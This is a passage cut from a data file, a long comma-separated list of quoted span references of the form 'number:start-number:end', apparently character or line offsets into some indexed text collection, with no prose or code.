"200190:324-200190:401", "200190:403-200190:453", "200190:456-200190:457", "200190:460-200190:565", "200190:567-200190:588",
"200190:591", "200190:593-200190:595", "200190:597-200190:646", "200190:649-200190:878", "200229:1-200229:33",
"200229:41-200229:219", "200229:222-200229:244", "200229:247-200229:290", "200229:293-200229:624", "200229:627-200229:629",
"200243:69-200243:103", "200243:106-200243:139", "200244:3-200244:304", "200244:307-200244:442", "200244:445-200244:507",
"200244:510-200244:619", "200245:1-200245:103", "200245:105-200245:128", "200245:131-200245:248", "200245:251-200245:357",
"200368:72-200368:180", "200369:1-200369:5", "200369:8-200369:61", "200369:64-200369:360", "200369:363-200369:439",
"200369:441-200369:578", "200369:580-200369:603", "200369:606-200369:684", "200369:686", "200381:8-200381:15",
"200381:18-200381:36", "200381:38-200381:89", "200381:91-200381:195", "200466:134-200466:274", "200473:96-200473:157",
"200473:159-200473:224", "200473:226-200473:304", "200473:306-200473:469", "200473:472-200473:524", "200473:527-200473:542",
"200473:545-200473:619", "200473:622-200473:688", "200473:691-200473:730", "200473:733-200473:738", "200473:740-200473:1324",
"200491:87-200491:107", "200491:110-200491:149", "200491:152-200491:157", "200491:160-200491:197", "200491:199-200491:237",
"200491:240-200491:270", "200491:273", "200491:276-200491:334", "200491:336-200491:360", "200491:363-200491:419",
"200515:97-200515:183", "200519:1-200519:111", "200519:114-200519:126", "200519:129-200519:136", "200519:138-200519:224",
"200519:227-200519:258", "200519:261-200519:350", "200519:353-200519:611", "200519:613-200519:747", "200525:77-200525:149",
"200525:151-200525:164", "200525:166-200525:190", "200525:193-200525:276", "200525:278-200525:311", "200525:314-200525:464",
"200525:467-200525:488", "200525:491-200525:674", "200525:676-200525:704", "200525:707-200525:755", "200525:757-200525:895",
"200525:898-200525:937", "200525:939-200525:990", "200532:1-200532:37", "200599:75-200599:129", "200599:132-200599:137",
"200600:1-200600:183", "200600:186-200600:299", "200600:302-200600:313", "200600:316-200600:324", "200600:327-200600:334",
"200600:336-200600:397", "200600:399-200600:417", "200600:420-200600:526", "200600:529-200600:591", "200600:594-200600:596",
"200600:598-200600:609", "200600:611-200600:660", "200600:663-200600:823", "200600:826-200600:900", "200600:902-200600:943",
"200600:945-200600:1139", "200961:1-200961:115", "200976:94-200976:164", "200990:75-200990:143", "200991:1-200991:42",
"200991:44", "200991:47-200991:80", "200991:83-200991:175", "200991:178-200991:181", "200991:184-200991:252",
"200991:255-200991:632", "200991:635-200991:916", "200991:918-200991:1017", "200991:1019-200991:1048", "200992:1-200992:405",
"200992:408-200992:434", "200992:436-200992:581", "201062:78-201062:268", "201097:83-201097:136", "201097:138-201097:245",
"201097:248-201097:300", "201097:303-201097:370", "201097:372-201097:429", "201097:432-201097:497", "201114:1-201114:14",
"201115:1-201115:73", "201159:70-201159:211", "201164:1-201164:8", "201164:10-201164:94", "201164:96-201164:125",
"201164:128-201164:178", "201164:180-201164:198", "201164:200-201164:271", "201164:274-201164:416", "201164:418",
"201168:1-201168:37", "201168:39-201168:275", "201168:278-201168:481", "201168:483-201168:558", "201168:560-201168:730",
"201173:1-201173:194", "201173:197-201173:586", "201174:1-201174:214", "201174:216-201174:263", "201174:265-201174:339",
"201174:342-201174:451", "201191:75-201191:98", "201191:100-201191:216", "201191:218-201191:389", "201191:392-201191:492",
"201191:494-201191:506", "201191:509-201191:585", "201191:587-201191:594", "201191:597-201191:607", "201191:609-201191:794",
"201191:796-201191:838", "201191:841-201191:974", "201191:977-201191:1105", "201191:1108-201191:1117", "201191:1120-201191:1382",
"201191:1385-201191:1386", "201193:1-201193:19", "201196:1-201196:238", "201196:241-201196:278", "201196:286-201196:299",
"201196:302-201196:338", "201196:341-201196:515", "201196:518-201196:720", "201196:723-201196:789", "201196:803-201196:841",
"201197:1-201197:23", "201202:1-201202:437", "201229:1-201229:5", "201229:8-201229:26", "201229:29-201229:73",
"201278:62-201278:163", "201278:166-201278:229", "201278:232-201278:256", "201278:259-201278:316", "201278:318-201278:595",
"201278:598-201278:938", "201278:942-201278:974", "201278:976-201278:1160", "201278:1163-201278:1304", "201278:1306-201278:1793",
"201278:1796-201278:1802", "201278:1805-201278:1906", "201278:1909-201278:1929", "201278:1932-201278:2174", "201554:70-201554:86",
"201554:88-201554:114", "201554:116-201554:126", "201602:76-201602:81", "201602:83-201602:194", "201602:196-201602:494",
"201602:496-201602:614", "201602:617-201602:635", "201611:87-201611:145", "201611:149-201611:182", "201611:184-201611:186",
"201613:1-201613:42", "201613:44-201613:49", "201613:53-201613:210", "201613:213-201613:215", "201613:218-201613:225",
"201613:228-201613:646", "201624:83-201624:92", "201624:95-201624:240", "201624:270", "201625:211-201625:312",
"201625:315-201625:348", "201625:351-201625:416", "201625:418-201625:588", "201625:591-201625:671", "201625:673-201625:758",
"201625:760-201625:791", "201625:793-201625:944", "201657:77-201657:93", "201657:95-201657:108", "201657:110-201657:118",
"201658:1-201658:19", "201658:21-201658:118", "201658:121-201658:136", "201658:139-201658:288", "201668:78-201668:157",
"201669:1-201669:9", "201669:12-201669:136", "201669:139-201669:141", "201669:143-201669:165", "201671:1-201671:120",
"201671:122-201671:174", "201671:177-201671:462", "201671:464-201671:482", "201671:485-201671:499", "201671:501-201671:545",
"201671:547-201671:571", "201671:574-201671:614", "201671:617-201671:766", "201671:768-201671:896", "201671:899-201671:911",
"201671:914-201671:1007", "201678:1-201678:120", "201679:1-201679:110", "201679:112-201679:241", "201679:244-201679:298",
"201679:302-201679:321", "201679:324-201679:461", "201679:463-201679:483", "201692:78-201692:81", "201692:83-201692:179",
"201705:65-201705:73", "201705:75-201705:109", "201705:111-201705:187", "201706:1-201706:62", "201707:1-201707:23",
"201707:26-201707:42", "201707:45-201707:115", "201707:118-201707:130", "201707:133-201707:160", "201707:163-201707:276",
"201707:279-201707:471", "201707:473-201707:511", "201707:514-201707:545", "201707:547-201707:570", "201707:572-201707:622",
"201707:625-201707:735", "201707:738-201707:806", "201707:809-201707:876", "201707:879-201707:964", "201708:1-201708:79",
"201718:58-201718:108", "201727:67-201727:185", "201729:6-201729:20", "201729:22-201729:75", "201729:77-201729:126",
"201729:129-201729:154", "201729:156-201729:216", "201729:219-201729:244", "201794:58-201794:94", "201802:68-201802:209",
"201802:211-201802:214", "201802:216-201802:220", "201802:223-201802:288", "201802:290-201802:296", "201816:1-201816:72",
"201816:74-201816:105", "201816:107-201816:157", "201817:1-201817:274", "201818:1", "201819:1-201819:94",
"201819:96-201819:241", "201824:1-201824:139", "201824:141-201824:176", "201824:179-201824:286", "201824:289-201824:492",
"202012:98-202012:121", "202012:126-202012:131", "202013:1-202013:2", "202013:5-202013:35", "202013:38-202013:57",
"202014:1-202014:5", "202014:8-202014:14", "202014:16-202014:18", "202014:20-202014:77", "202014:79-202014:102",
"202014:104-202014:174", "202014:177-202014:190", "202014:192-202014:196", "202016:1-202016:48", "202016:51-202016:134",
"202016:137-202016:177", "202016:179-202016:743", "202016:745-202016:831", "202016:834-202016:890", "202016:893-202016:896",
"202016:898-202016:932", "202016:934-202016:1010", "202044:84-202044:101", "202044:104-202044:266", "202044:268-202044:461",
"202044:463-202044:466", "202045:1-202045:30", "202045:33-202045:72", "202045:75-202045:528", "202045:531-202045:601",
"202045:603-202045:785", "202045:788-202045:809", "202045:822-202045:823", "202054:6-202054:266", "202054:268-202054:489",
"202054:492-202054:605", "202054:608-202054:631", "202060:76-202060:142", "202060:144-202060:154", "202060:156-202060:244",
"202060:246-202060:497", "202060:499-202060:642", "202060:644-202060:682", "202060:684-202060:743", "202060:746-202060:936",
"202074:66-202074:174", "202075:1-202075:18", "202075:21-202075:187", "202075:189-202075:214", "202075:217-202075:247",
"202075:250-202075:342", "202075:345-202075:406", "202075:409-202075:497", "202075:500-202075:537", "202075:539",
"202075:542-202075:560", "202075:562-202075:615", "202075:618-202075:628", "202084:83-202084:156", "202084:159-202084:177",
"202084:179-202084:180", "202084:182-202084:239", "202087:1-202087:25", "202087:28-202087:208", "202087:210-202087:357",
"202087:359-202087:652", "202087:655-202087:853", "202087:856-202087:1093", "202088:1-202088:286", "202093:1-202093:104",
"202093:107-202093:320", "202093:322-202093:360", "202116:59-202116:60", "202178:67-202178:78", "202178:80-202178:88",
"202178:91-202178:177", "202178:180-202178:186", "202178:188-202178:337", "202178:340-202178:377", "202178:379-202178:425",
"202178:428-202178:475", "202178:478-202178:548", "202178:551-202178:717", "202178:720-202178:965", "202178:967-202178:1444",
"202178:1447-202178:1505", "202178:1508-202178:1519", "202178:1522-202178:1555", "202205:94-202205:114", "202209:1-202209:48",
"202209:51-202209:142", "202237:39-202237:128", "202237:131", "202237:134-202237:219", "202237:222-202237:235",
"202237:238-202237:275", "202237:277-202237:289", "202237:291-202237:316", "202237:319-202237:419", "202237:422-202237:538",
"202237:540-202237:936", "202237:939-202237:950", "202237:952-202237:976", "202237:979-202237:1079", "202272:76-202272:112",
"202272:115-202272:141", "202272:144-202272:185", "202272:188-202272:205", "202272:208-202272:305", "202272:307-202272:313",
"202272:315-202272:371", "202272:436-202272:480", "202272:483-202272:555", "202272:558-202272:577", "202272:579-202272:683",
"202272:686-202272:705", "202272:707-202272:740", "202272:742-202272:890", "202272:937-202272:1295", "202272:1299-202272:1481",
"202299:68-202299:84", "202299:87-202299:141", "202299:143-202299:193", "202299:196-202299:358", "202299:361-202299:379",
"202299:382-202299:414", "202299:416-202299:452", "202299:455-202299:555", "202305:1-202305:89", "202305:92-202305:130",
"202305:133-202305:323", "202314:67-202314:104", "202314:107-202314:265", "202314:268-202314:278", "202328:46-202328:89",
"202328:92-202328:156", "202328:158-202328:276", "202328:278-202328:291", "202328:294-202328:434", "202328:437-202328:460",
"202328:463-202328:586", "202328:588-202328:610", "202328:612-202328:614", "202333:1-202333:235", "202389:81-202389:182",
"202389:185-202389:190", "202389:192-202389:199", "202469:87-202469:158", "202469:160-202469:174", "202469:177-202469:352",
"202472:1-202472:96", "202472:99-202472:112", "202477:1-202477:129", "202477:131-202477:150", "202478:1-202478:177",
"202478:180-202478:183", "202478:186-202478:219", "202478:222-202478:360", "202478:362-202478:506", "202478:509-202478:531",
"202478:534-202478:718", "202478:720-202478:927", "202478:929-202478:973", "202478:975-202478:1029", "202478:1031-202478:1186",
"202478:1189-202478:1212", "202478:1215-202478:1248", "202504:77-202504:96", "202504:99-202504:133", "202504:135-202504:182",
"202504:184-202504:211", "202504:213-202504:241", "202504:243-202504:392", "202504:395-202504:527", "202504:529-202504:617",
"202504:620-202504:715", "202504:718-202504:763", "202504:766-202504:1172", "202504:1174-202504:1247", "202504:1250-202504:1471",
"202504:1474-202504:1679", "202504:1682-202504:1704", "202972:1-202972:30", "202972:33-202972:184", "202972:186-202972:290",
"202972:292-202972:295", "202972:298-202972:371", "202972:374-202972:429", "202972:431-202972:544", "202973:1-202973:234",
"202973:237-202973:305", "202973:308-202973:437", "202973:439-202973:530", "202973:532-202973:541", "202973:544-202973:552",
"202973:555-202973:851", "202973:853-202973:1408", "203002:77-203002:128", "203002:130-203002:141", "203002:144-203002:207",
"203002:209-203002:267", "203002:270-203002:360", "203002:362-203002:501", "203002:504-203002:641", "203002:643-203002:669",
"203002:671", "203002:674-203002:717", "203002:720-203002:1034", "203002:1037-203002:1070", "203002:1073-203002:1370",
"203002:1372-203002:1392", "203002:1395-203002:1410", "203002:1413-203002:1596", "203709:1-203709:121", "203742:1-203742:29",
"203777:103-203777:113", "203830:82-203830:182", "203832:1-203832:11", "203833:1-203833:70", "203833:73-203833:128",
"203834:1-203834:40", "203835:1-203835:70", "203835:73-203835:358", "203853:122-203853:222", "203894:82-203894:272",
"203894:275-203894:477", "203894:480-203894:902", "203894:905-203894:1319", "203909:79-203909:113", "203909:116-203909:117",
"203909:120-203909:140", "203909:143-203909:382", "203912:1-203912:306", "203912:308-203912:566", "203912:569-203912:609",
"203912:611-203912:698", "203912:701-203912:820", "203912:823-203912:865", "203912:867-203912:1033", "203912:1035-203912:1321",
"203987:1-203987:9", "203987:12-203987:241", "203987:243-203987:339", "203987:342-203987:781", "203987:784-203987:1014",
"203992:1-203992:15", "203994:1-203994:56", "203994:59-203994:136", "203994:139-203994:304", "203994:306-203994:342",
"203994:344-203994:425", "204100:117-204100:139", "204101:1-204101:74", "204113:82-204113:96", "204113:98-204113:102",
"204113:105-204113:127", "204113:129-204113:191", "204113:194-204113:258", "204113:261-204113:327", "204113:329-204113:388",
"204113:390-204113:400", "204113:402-204113:583", "204113:585-204113:690", "204114:1-204114:358", "204238:23-204238:52",
"204238:55", "204250:92-204250:118", "204250:121-204250:177", "204250:179-204250:285", "204250:287-204250:336",
"204250:339-204250:400", "204250:403-204250:521", "204250:524-204250:543", "204250:546-204250:682", "204250:684-204250:801",
"204511:1-204511:56", "204541:5-204541:39", "204541:42", "204541:44-204541:139", "204541:142-204541:149",
"204541:151-204541:204", "204544:1-204544:11", "204544:13-204544:93", "204544:96-204544:195", "204544:197-204544:224",
"204544:226-204544:334", "204544:337-204544:426", "204552:1-204552:9", "204553:1-204553:51", "204553:53-204553:60",
"204553:63-204553:101", "204554:1-204554:5", "204554:7-204554:221", "204554:224-204554:455", "204554:458-204554:470",
"204554:472-204554:481", "204554:483-204554:514", "204555:1-204555:329", "204555:331-204555:334", "204563:91-204563:99",
"204563:102-204563:178", "204563:180-204563:219", "204563:222-204563:229", "204563:231-204563:364", "204563:366",
"204563:369-204563:470", "204563:473-204563:524", "204563:527-204563:571", "204564:1-204564:84", "204564:87-204564:89",
"204564:92-204564:159", "204564:161-204564:187", "204564:190-204564:191", "204564:193-204564:293", "204564:296-204564:315",
"204564:317-204564:340", "204564:343-204564:427", "204564:429-204564:434", "204564:437-204564:735", "204564:737-204564:855",
"204564:858-204564:1206", "204564:1209-204564:1248", "204564:1251-204564:1284", "204565:1-204565:48", "204566:1-204566:12",
"204567:1-204567:38", "204576:49-204576:192", "204576:195-204576:301", "204577:1-204577:46", "204577:49-204577:64",
"204577:67-204577:105", "204577:107-204577:170", "204577:173-204577:181", "204577:183-204577:193", "204577:196-204577:653",
"204577:656-204577:669", "204577:671-204577:740", "204577:742-204577:913", "204577:915-204577:1057", "204577:1059-204577:1115",
"204577:1117-204577:1282", "204599:73-204599:83", "204599:85-204599:94", "204599:97-204599:121", "204599:124-204599:125",
"204599:128-204599:173", "204599:175-204599:240", "204599:243-204599:245", "204599:248-204599:264", "204599:266-204599:292",
"204599:294-204599:334", "204601:1-204601:25", "204601:28-204601:62", "204601:65-204601:80", "204601:83-204601:89",
"204601:92-204601:290", "204601:292-204601:563", "204601:565-204601:591", "204601:593-204601:652", "204601:655-204601:780",
"204601:783-204601:812", "204601:814-204601:892", "204601:894-204601:984", "204601:986-204601:1003", "204601:1006-204601:1038",
"204601:1040-204601:1088", "204601:1091-204601:1102", "204601:1105-204601:1161", "204601:1164-204601:1250", "205086:95-205086:149",
"205111:88-205111:390", "205111:392-205111:441", "205111:444-205111:446", "205158:81-205158:289", "205158:292-205158:313",
"205158:315-205158:473", "205158:476-205158:591", "205158:594-205158:595", "205158:597-205158:612", "205158:615-205158:663",
"205158:665-205158:667", "205158:672-205158:685", "205158:687-205158:733", "205193:80-205193:109", "205193:111-205193:349",
"205193:352-205193:486", "205193:488-205193:650", "205193:652-205193:712", "205193:714-205193:902", "205217:1-205217:12",
"205217:16-205217:111", "205217:113-205217:171", "205217:174-205217:250", "205217:253-205217:318", "205233:94-205233:153",
"205236:1-205236:190", "205236:193-205236:207", "205236:209-205236:260", "205236:263-205236:331", "205236:334-205236:352",
"205238:1-205238:6", "205238:9-205238:199", "205238:202-205238:254", "205238:256-205238:304", "205238:306-205238:355",
"205238:358-205238:381", "205238:384-205238:596", "205238:598-205238:617", "205303:35-205303:54", "205303:90-205303:132",
"205303:135-205303:144", "205310:76-205310:306", "205310:309-205310:313", "205310:316", "205310:319-205310:321",
"205310:324-205310:457", "205310:460-205310:559", "205311:1-205311:85", "205311:88-205311:92", "205311:95-205311:183",
"205311:186-205311:395", "205311:397-205311:592", "205311:595-205311:910", "205311:913-205311:1260", "205339:71-205339:175",
"205339:178-205339:213", "205339:216-205339:230", "205339:233-205339:262", "205339:265-205339:404", "205344:1-205344:83",
"205344:86-205344:104", "205344:106-205344:359", "205344:362-205344:431", "205344:433-205344:949", "205344:951-205344:967",
"205344:969-205344:1127", "205344:1129-205344:1346", "205344:1348-205344:1586", "205515:82-205515:201", "205515:203-205515:216",
"205519:1-205519:47", "205519:50-205519:172", "205519:175-205519:367", "205519:370-205519:386", "205519:389-205519:472",
"205526:1-205526:269", "205526:272-205526:277", "205526:280-205526:332", "205614:1-205614:4", "205614:7-205614:40",
"205617:1-205617:29", "205617:32-205617:102", "205617:105-205617:123", "205617:125-205617:140", "205617:143-205617:264",
"205617:266-205617:448", "205617:451-205617:532", "205617:534-205617:547", "205618:1-205618:12", "205620:1-205620:175",
"205666:60-205666:119", "205666:122-205666:165", "205666:168-205666:259", "205666:261-205666:322", "205666:325-205666:578",
"205666:580-205666:594", "205666:597-205666:721", "205666:724-205666:739", "205667:1-205667:165", "205667:168-205667:282",
"205667:285-205667:318", "205667:321-205667:412", "205667:415-205667:689", "205667:692-205667:751", "205667:754-205667:774",
"205667:777-205667:1109", "205683:76-205683:82", "205683:85-205683:178", "205683:181-205683:198", "205683:201-205683:305",
"205690:1-205690:40", "205694:1-205694:205", "205694:208-205694:230", "205694:233-205694:347", "205694:350-205694:452",
"205694:455-205694:593", "205694:595-205694:890", "205718:49-205718:75", "205718:78-205718:97", "205718:100-205718:103",
"205718:105-205718:176", "205718:178-205718:338", "205718:341-205718:361", "205718:363-205718:524", "205718:527-205718:531",
"205718:534-205718:589", "205718:591-205718:694", "205774:1-205774:80", "205777:1-205777:8", "205781:1-205781:89",
"205781:91-205781:197", "205781:200-205781:502", "205826:80-205826:232", "205826:235-205826:303", "205826:306-205826:468",
"205833:84-205833:86", "205833:89-205833:121", "205833:123-205833:155", "205833:157-205833:165", "205833:167-205833:173",
"205833:176-205833:219", "205833:221-205833:267", "205833:270-205833:312", "205833:315-205833:346", "205833:350-205833:355",
"205833:360-205833:366", "205834:1-205834:12", "205834:14-205834:195", "205908:68-205908:200", "205908:202-205908:209",
"205921:22-205921:73", "205921:76-205921:268", "205921:271-205921:394", "205921:397-205921:401", "205921:410-205921:428",
"205921:431-205921:498", "205921:500-205921:571", "205921:574-205921:779", "205921:782-205921:853", "206066:89-206066:146",
"206088:86-206088:159", "206088:161-206088:178", "206088:181-206088:199", "206088:202-206088:286", "206102:83-206102:116",
"206102:120-206102:130", "206102:133-206102:208", "206102:211-206102:235", "206102:238-206102:246", "206102:249-206102:278",
"206102:281-206102:349", "206187:107-206187:169", "206187:172-206187:242", "206187:245-206187:288", "206187:290-206187:340",
"206187:343-206187:427", "206187:429-206187:435", "206187:437-206187:486", "206187:489-206187:569", "206187:571-206187:647",
"206187:649-206187:662", "206187:664-206187:708", "206188:1-206188:40", "206188:42-206188:55", "206199:1-206199:75",
"206199:77-206199:82", "206199:85-206199:114", "206207:82-206207:130", "206207:132-206207:176", "206207:179-206207:194",
"206207:196-206207:388", "206207:390-206207:419", "206207:422-206207:447", "206207:450-206207:569", "206207:572-206207:690",
"206208:1-206208:470", "206208:472-206208:518", "206210:11-206210:25", "206210:28-206210:275", "206210:277-206210:298",
"206210:300-206210:383", "206210:386-206210:466", "206243:62-206243:169", "206243:172-206243:196", "206243:199-206243:354",
"206243:357-206243:433", "206243:435-206243:448", "206243:451-206243:533", "206243:536-206243:554", "206243:557-206243:723",
"206243:726-206243:905", "206245:1-206245:62", "206246:1-206246:14", "206246:16-206246:237", "206246:240-206246:285",
"206246:288-206246:407", "206246:412-206246:676", "206246:678-206246:704", "206246:706-206246:785", "206246:787-206246:962",
"206246:965-206246:997", "206246:1000-206246:1198", "206246:1201-206246:1290", "206257:1-206257:29", "206258:1-206258:36",
"206258:39-206258:223", "206258:226-206258:249", "206302:1-206302:8", "206302:11-206302:33", "206302:36-206302:44",
"206302:47-206302:82", "206302:84-206302:108", "206302:110-206302:149", "206302:151-206302:186", "206302:189-206302:229",
"206302:231-206302:232", "206302:234-206302:241", "206302:243-206302:276", "206303:1-206303:19", "206303:23-206303:286",
"206304:1-206304:4", "206304:6-206304:62", "206331:91-206331:222", "206331:225-206331:312", "206389:88-206389:185",
"206389:187-206389:249", "206389:252-206389:272", "206389:275-206389:392", "206391:1-206391:55", "206391:57-206391:91",
"206401:69-206401:90", "206401:92-206401:194", "206401:197-206401:210", "206401:212-206401:249", "206401:251-206401:265",
"206401:267-206401:409", "206446:92-206446:141", "206446:143-206446:159", "206446:162-206446:205", "206446:208-206446:301",
"206446:304-206446:442", "206446:445", "206446:448-206446:474", "206446:476-206446:616", "206446:619-206446:872",
"206446:874-206446:910", "206446:912-206446:948", "206446:950-206446:989", "206446:992-206446:1030", "206446:1033-206446:1075",
"206446:1109-206446:1149", "206448:1-206448:143", "206448:145-206448:559", "206448:561-206448:1170", "206448:1173-206448:1231",
"206448:1235-206448:1237", "206466:24-206466:137", "206466:140-206466:277", "206466:280-206466:296", "206466:299-206466:303",
"206466:306-206466:405", "206466:407-206466:419", "206466:422-206466:477", "206466:480-206466:511", "206466:514-206466:676",
"206476:73-206476:129", "206476:133-206476:137", "206476:140-206476:141", "206476:143-206476:219", "206477:1-206477:14",
"206477:16-206477:31", "206477:33-206477:41", "206477:44-206477:51", "206477:53-206477:70", "206477:73-206477:75",
"206477:77-206477:89", "206477:91-206477:94", "206477:97-206477:115", "206477:118-206477:184", "206478:1-206478:27",
"206478:29-206478:136", "206478:139-206478:144", "206484:73-206484:95", "206484:98-206484:133", "206484:136-206484:163",
"206484:166-206484:186", "206484:189-206484:384", "206484:387-206484:463", "206484:465-206484:551", "206484:554",
"206484:556-206484:669", "206512:91-206512:123", "206512:125-206512:133", "206512:136-206512:161", "206512:163-206512:190",
"206512:193-206512:201", "206512:203-206512:212", "206512:214-206512:332", "206512:334-206512:584", "206512:587-206512:604",
"206512:607-206512:1005", "206512:1008-206512:1123", "206512:1126-206512:1163", "206512:1165-206512:1211", "206513:3-206513:39",
"206513:42-206513:188", "206513:191-206513:234", "206513:237-206513:238", "206513:241-206513:323", "206542:1-206542:115",
"206542:117-206542:165", "206542:168-206542:511", "206542:514-206542:547", "206542:550-206542:603", "206542:606-206542:668",
"206542:671-206542:727", "206542:730-206542:739", "206542:741-206542:833", "206550:77-206550:132", "206550:135-206550:144",
"206572:37-206572:47", "206573:2-206573:14", "206574:1-206574:87", "206575:1-206575:7", "206575:10",
"206575:12-206575:69", "206594:72-206594:107", "206594:110-206594:246", "206594:249-206594:281", "206595:1-206595:34",
"206595:37-206595:42", "206595:45-206595:193", "206596:1-206596:13", "206596:15-206596:220", "206596:222-206596:228",
"206596:231-206596:236", "206596:239-206596:292", "206596:295-206596:695", "206596:697-206596:728", "206596:730-206596:810",
"206598:1-206598:81", "206598:83-206598:103", "206598:105-206598:588", "206598:591-206598:657", "206598:659-206598:719",
"206605:1-206605:36", "206605:39-206605:78", "206744:49-206744:157", "206744:160-206744:192", "206744:195-206744:395",
"206744:398-206744:452", "206745:1-206745:81", "206745:84-206745:199", "206745:202-206745:224", "206745:227-206745:237",
"206745:240-206745:304", "206745:306-206745:318", "206745:321-206745:720", "206745:723-206745:796", "206745:799-206745:894",
"206745:897-206745:944", "206745:946-206745:1106", "206745:1108-206745:1524", "206745:1527-206745:1862", "206745:1988-206745:1996",
"206859:79-206859:210", "206859:212-206859:258", "206859:260-206859:323", "206859:325-206859:356", "206859:359-206859:609",
"206859:612-206859:681", "206859:684-206859:732", "206859:734-206859:768", "206859:771-206859:808", "206859:811-206859:827",
"206859:830-206859:848", "206866:1-206866:30", "206866:33-206866:113", "206866:115-206866:274", "206868:1-206868:3",
"206868:10-206868:16", "206869:1-206869:251", "206869:253-206869:271", "206869:274-206869:502", "206869:507-206869:520",
"206869:522-206869:566", "206869:568-206869:752", "206897:1-206897:34", "206897:38-206897:61", "206897:63-206897:102",
"206897:109", "206897:111-206897:112", "206897:114-206897:131", "206897:133-206897:137", "206901:1-206901:98",
"206906:1-206906:31", "206906:38-206906:94", "206906:96-206906:136", "206906:138-206906:139", "206906:142-206906:149",
"206906:151-206906:175", "206906:177-206906:206", "206940:1-206940:151", "206940:153", "206940:155-206940:298",
"206940:301-206940:382", "206940:384-206940:712", "206940:715-206940:803", "206940:805-206940:960", "206940:963-206940:1027",
"207099:83-207099:134", "207099:137-207099:172", "207099:175-207099:213", "207099:216-207099:314", "207099:316-207099:320",
"207099:323-207099:330", "207099:333-207099:367", "207099:370-207099:481", "207099:484-207099:602", "207099:605-207099:755",
"207099:757-207099:1046", "207099:1048-207099:1171", "207100:1-207100:91", "207100:94", "207214:57-207214:112",
"207214:114-207214:177", "207214:179-207214:181", "207214:184-207214:196", "207214:199-207214:220", "207214:223-207214:262",
"207214:265-207214:405", "207214:408-207214:482", "207214:485-207214:640", "207214:643-207214:708", "207214:718-207214:757",
"207214:759-207214:808", "207214:811-207214:829", "207217:1-207217:32", "207219:1-207219:112", "207220:1-207220:160",
"207221:1-207221:102", "207222:1-207222:17", "207222:20-207222:289", "207231:70-207231:84", "207231:86-207231:121",
"207231:123-207231:184", "207231:187-207231:189", "207231:192-207231:303", "207231:306-207231:354", "207231:357-207231:481",
"207231:484-207231:504", "207231:508-207231:549", "207231:552-207231:626", "207231:628-207231:690", "207231:693-207231:875",
"207231:878-207231:1000", "207231:1003-207231:1170", "207231:1173-207231:1187", "207231:1189-207231:1227", "207231:1229-207231:1415",
"207231:1418-207231:1445", "207231:1447-207231:1505", "207233:1-207233:119", "207233:121-207233:148", "207269:80-207269:394",
"207269:397-207269:436", "207269:439-207269:463", "207269:466-207269:551", "207269:568-207269:577", "207273:3-207273:877",
"207279:68-207279:138", "207279:141-207279:149", "207279:151-207279:237", "207279:240-207279:266", "207279:269-207279:307",
"207279:309-207279:416", "207279:498-207279:551", "207279:554-207279:640", "207279:643-207279:961", "207279:963-207279:1095",
"207279:1098-207279:1160", "207320:1-207320:110", "207320:112-207320:350", "207371:72-207371:117", "207371:120-207371:124",
"207372:1-207372:27", "207372:30-207372:113", "207372:116-207372:154", "207372:156-207372:174", "207372:176-207372:478",
"207372:480-207372:496", "207397:32-207397:77", "207397:80-207397:140", "207397:143-207397:179", "207398:1-207398:14",
"207398:16-207398:33", "207454:79-207454:95", "207454:98-207454:123", "207454:126-207454:259", "207454:261-207454:363",
"207454:365-207454:458", "207454:461-207454:498", "207454:501-207454:609", "207454:612-207454:632", "207454:635-207454:781",
"207454:784-207454:866", "207454:869-207454:974", "207454:977-207454:1064", "207454:1067-207454:1079", "207454:1081-207454:1321",
"207454:1323-207454:1464", "207454:1467-207454:1569", "207454:1571-207454:1604", "207454:1607-207454:1712", "207454:1714-207454:1988",
"207469:1-207469:31", "207469:34-207469:45", "207477:76-207477:104", "207477:107-207477:111", "207477:114-207477:147",
"207477:150-207477:295", "207477:298-207477:483", "207477:486-207477:494", "207477:497-207477:527", "207477:530-207477:563",
"207477:565-207477:570", "207487:50-207487:98", "207487:101-207487:311", "207487:313-207487:359", "207487:363-207487:468",
"207487:471-207487:472", "207488:1-207488:63", "207488:66-207488:92", "207488:95-207488:113", "207488:116-207488:198",
"207488:200-207488:250", "207488:252-207488:288", "207488:291-207488:365", "207488:368-207488:377", "207488:379-207488:440",
"207490:1-207490:48", "207490:51-207490:111", "207491:1-207491:176", "207491:179-207491:458", "207492:1-207492:20",
"207492:23-207492:298", "207515:79-207515:109", "207515:112-207515:132", "207515:134-207515:208", "207515:211-207515:225",
"207515:228-207515:320", "207515:322-207515:381", "207515:383-207515:498", "207515:500-207515:730", "207515:733-207515:849",
"207515:851-207515:954", "207515:957-207515:994", "207515:997-207515:1052", "207515:1055-207515:1143", "207515:1145-207515:1211",
"207517:1-207517:12", "207517:15-207517:57", "207518:1-207518:59", "207518:61-207518:83", "207882:22-207882:45",
"207883:1", "207883:3-207883:4", "207883:7-207883:75", "207884:1-207884:106", "207884:108-207884:183",
"207885:1-207885:90", "207886:1-207886:30", "207886:32-207886:90", "207886:92-207886:156", "207886:158-207886:166",
"207886:168-207886:171", "207889:1-207889:43", "207889:47-207889:57", "207889:60-207889:303", "207889:306-207889:442",
"207889:445", "207889:447-207889:551", "207889:553-207889:731", "207889:733-207889:907", "207889:910-207889:945",
"207898:1-207898:33", "207898:36-207898:57", "207898:60-207898:235", "207898:239-207898:257", "207898:260-207898:277",
"207905:75-207905:196", "207905:198-207905:281", "207905:284-207905:329", "207905:331-207905:402", "207905:404-207905:565",
"207905:568-207905:672", "207905:675-207905:805", "207905:807-207905:850", "207905:852-207905:861", "207905:864-207905:884",
"207905:886-207905:1180", "207905:1183-207905:1283", "207905:1285-207905:1331", "207905:1333-207905:1515", "207905:1518-207905:1734",
"207905:1737-207905:1796", "207920:84-207920:146", "207920:149-207920:241", "207920:243-207920:261", "207920:264-207920:291",
"207920:294-207920:486", "207920:489-207920:518", "207920:520-207920:598", "207920:600-207920:708", "207920:710-207920:826",
"207921:1-207921:37", "207921:40-207921:58", "207922:1-207922:69", "207922:71-207922:100", "207922:103-207922:126",
"207922:129-207922:242", "207922:274-207922:291", "207924:1-207924:52", "207924:54-207924:171", "207924:173-207924:178",
"207924:181-207924:339", "208307:2-208307:42", "208307:45", "208307:47-208307:70", "208307:72-208307:147",
"208307:150-208307:252", "208307:256-208307:259", "208307:262-208307:275", "208307:278-208307:342", "208307:345-208307:450",
"208307:453-208307:527", "208307:530-208307:583", "208307:586-208307:605", "208307:608-208307:616", "208307:618-208307:667",
"208307:670-208307:761", "208307:763-208307:798", "208307:800-208307:889", "208307:891-208307:893", "208307:896-208307:1055",
